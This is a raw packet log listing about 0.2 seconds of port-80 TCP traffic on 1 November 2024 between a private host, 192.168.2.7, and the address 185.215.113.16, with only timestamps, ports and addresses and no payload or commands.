Nov 1, 2024 12:34:09.856064081 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856089115 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856107950 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856157064 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856163025 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856173992 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856194019 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856194973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856199980 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856220961 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856235981 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856252909 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856260061 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856282949 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856287956 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856288910 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856295109 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856313944 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856336117 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856447935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856453896 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856466055 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856471062 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856482983 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856488943 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856492043 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856522083 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856555939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856561899 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856573105 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856579065 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856596947 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856614113 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856743097 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856750011 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856760979 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856774092 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856786013 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856787920 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856792927 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856801987 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856823921 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856837034 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856843948 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856868029 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856873035 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856874943 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.856892109 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.856915951 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857000113 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857007027 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857018948 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857023954 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857036114 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857042074 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857043028 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857058048 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857081890 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857141972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857147932 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857160091 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857167006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857186079 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857201099 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857270002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857275963 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857287884 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857294083 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857305050 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857311010 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857314110 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857330084 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857345104 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857400894 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857405901 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857426882 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857433081 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857448101 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857448101 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857464075 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857486010 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857503891 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857510090 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857539892 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857599020 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857604980 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857619047 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857624054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857640982 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857661963 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857677937 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857683897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857695103 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857701063 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857718945 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857734919 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857758999 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857764959 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857795000 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857799053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857804060 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857810974 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857820988 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857830048 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857861042 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.857947111 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857952118 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857965946 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857970953 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857983112 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857989073 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.857990980 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.858006954 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.858022928 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859622002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859627962 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859641075 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859646082 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859652042 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859663010 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859669924 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859669924 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859699011 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859715939 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859735966 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859741926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859752893 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859760046 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859765053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859776020 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859781981 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859782934 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859787941 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859801054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859807014 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859822989 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859838009 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859846115 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859859943 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859869957 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859874964 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859880924 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859890938 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859894991 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859901905 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859911919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859915018 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859919071 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859925985 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859936953 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859942913 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859951019 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859951019 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859960079 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859965086 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.859972000 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859978914 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.859996080 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.860017061 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.860106945 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.860114098 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.860125065 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.860130072 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.860136032 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.860141993 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.860146999 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.860151052 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.860152006 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.860158920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.860165119 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:09.860174894 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.860188961 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:09.860213995 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013350964 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013360977 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013377905 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013386965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013402939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013408899 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013421059 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013431072 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013442993 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013449907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013462067 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013467073 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013525963 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013552904 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013559103 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013571024 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013576984 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013605118 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013629913 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013659000 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013664961 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013675928 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013684034 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013695002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013700008 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013717890 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013725042 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013731003 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013736010 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013753891 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013761044 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013766050 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013767958 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013776064 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013796091 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013809919 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013851881 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013856888 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013869047 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013874054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013880014 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.013896942 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.013910055 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014000893 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014007092 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014019012 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014041901 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014066935 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014075994 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014082909 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014094114 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014116049 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014142036 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014148951 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014182091 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014193058 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014199018 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014210939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014216900 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014235020 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014245987 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014312983 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014318943 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014329910 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014334917 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014343977 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014355898 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014360905 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014363050 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014389992 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014401913 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014406919 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014417887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014441967 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014480114 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014486074 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014520884 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014602900 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014606953 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014640093 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014646053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014645100 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014672041 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014694929 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014708042 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014714003 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014725924 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014730930 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014736891 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014756918 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014766932 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014775038 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014786959 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014791965 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014796019 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014801025 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014820099 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014878988 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014885902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014895916 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014921904 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014925957 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014926910 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014935017 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.014944077 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.014970064 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015075922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015081882 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015093088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015099049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015105963 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015130043 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015151024 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015224934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015232086 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015244007 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015249014 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015260935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015269041 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015269995 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015275955 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015285015 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015290022 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015304089 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015331030 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015402079 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015408993 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015419960 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015427113 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015439034 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015444994 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015445948 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015464067 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015480995 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015547991 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015554905 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015567064 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015572071 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015578985 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015598059 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015598059 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015623093 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015641928 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015666962 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015672922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015685081 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015691042 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015702009 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015710115 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015734911 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015882015 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015887976 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015899897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015907049 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.015928030 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.015944958 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016096115 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016103029 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016139984 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016201973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016208887 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016221046 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016227007 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016247034 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016262054 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.016271114 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.016277075 CET	80	49972	185.215.113.16	192.168.2.7
